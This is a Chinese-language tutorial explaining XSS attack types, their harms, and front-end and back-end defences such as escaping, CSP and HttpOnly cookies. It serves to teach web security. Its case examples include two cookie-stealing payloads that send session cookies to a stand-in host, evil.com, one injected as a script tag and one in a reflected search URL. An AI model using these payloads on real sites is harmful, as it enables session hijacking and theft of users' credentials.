總結

1. 跨站腳本攻擊，注入惡意腳本
2. 敏感字符轉義：“<”,“/”
3. 前端可以抓包篡改
4. 主要后臺處理，轉義

---

什么是 XSS 攻擊？怎么防護

概述

XSS（Cross-Site Scripting，跨站腳本攻擊）是一種常見的 Web 安全漏洞，攻擊者通過向網頁中注入惡意腳本，使其他用戶在瀏覽該頁面時，腳本在瀏覽器上下文中執行，從而竊取敏感信息、劫持用戶會話或發起惡意操作。

---

XSS 攻擊原理

XSS 利用了網站對用戶輸入內容的處理不當。當網站將用戶輸入的內容直接插入到 HTML 頁面中而未進行有效過濾或轉義時，攻擊者可以構造包含 JavaScript、VBScript 等腳本的輸入，誘導其他用戶訪問后觸發執行。

常見注入方式

• 在評論框、搜索框、URL 參數、表單提交等位置插入惡意腳本。
• 利用富文本編輯器上傳包含腳本的內容。
• 注入 <script>、<img>、<svg> 等標簽。

---

XSS 攻擊類型

類型	描述	特點
反射型 XSS	惡意腳本作為請求參數嵌入 URL，服務器未過濾直接返回給瀏覽器執行	通常通過誘導點擊鏈接傳播，不持久
存儲型 XSS	惡意腳本被存儲到服務器（如數據庫、評論系統），當其他用戶訪問頁面時自動加載執行	危害更大，影響范圍廣
DOM 型 XSS	攻擊通過修改頁面的 DOM（文檔對象模型）觸發，不經過服務器響應	更加隱蔽，依賴前端邏輯

---

XSS 攻擊的危害

• 竊取用戶的 Cookie、SessionID 等敏感信息
• 劫持用戶身份，模擬用戶行為（如發帖、轉賬）
• 修改網頁內容，誘導用戶下載惡意軟件
• 發起 CSRF（跨站請求偽造）攻擊
• 網站掛馬、釣魚攻擊等

---

防護措施

? 前端防護

措施	說明
HTML 轉義輸出	對所有用戶輸入內容進行 HTML 實體轉義，例如將 < 轉為 &lt;、> 轉為 &gt;
避免 innerHTML 操作	盡量使用 textContent 或框架自帶的安全方法（如 Vue 的 {{ }}、React 的 {}）
CSP（Content Security Policy）	設置白名單策略，限制僅允許加載指定來源的腳本
使用安全的富文本庫	如 Quill、Draft.js 等，內置內容清理機制
限制用戶輸入長度和格式	防止異常字符輸入，如只允許數字、字母等

? 后端防護

措施	說明
輸入過濾與轉義	所有用戶輸入需經過嚴格的清洗，防止特殊字符進入數據庫
設置 HttpOnly Cookie	防止 JavaScript 訪問 Cookie，減少 Cookie 被盜風險
使用 WAF（Web Application Firewall）	過濾非法請求，識別常見 XSS 攻擊模式
編碼輸出內容	不同輸出環境使用不同編碼方式：HTML、JS、CSS、URL 編碼
日志監控與告警	監控異常請求，及時發現潛在攻擊

---

示例：XSS 攻擊代碼

<!-- 用戶輸入 -->
<input type="text" value="<script>alert('XSS')</script>" /><!-- 服務端未轉義輸出 -->
<div><p>用戶輸入了：&lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;</p>
</div>

---

實際案例

案例一：社交平臺留言區 XSS

攻擊者在留言中插入如下代碼：

<script src="http://evil.com/steal-cookie.js"></script>

當其他用戶查看該留言時，腳本會自動執行，將當前用戶的 Cookie 發送到攻擊者的服務器。

案例二：搜索引擎反射型 XSS

攻擊者構造惡意搜索詞：

https://example.com/search?q=<script>window.location='http://evil.com?c='+document.cookie</script>

用戶點擊后跳轉到攻擊頁面，導致 Cookie 泄露。

---

工具推薦

工具	用途
OWASP ZAP	開源 Web 應用安全測試工具，支持 XSS 掃描
Burp Suite	商業級滲透測試工具，可模擬 XSS 攻擊
DOMPurify	JavaScript 庫，用于清理 HTML 內容中的危險腳本
Google Caja	Google 提供的 HTML/CSS/JS 清理工具
Vue / React / Angular	主流框架自帶防 XSS 機制（如自動轉義）

---

總結一句話

XSS 是一種利用網頁漏洞注入腳本并執行的攻擊方式，前后端應協同防御，通過輸入過濾、輸出轉義、CSP 等手段保障用戶數據安全。

---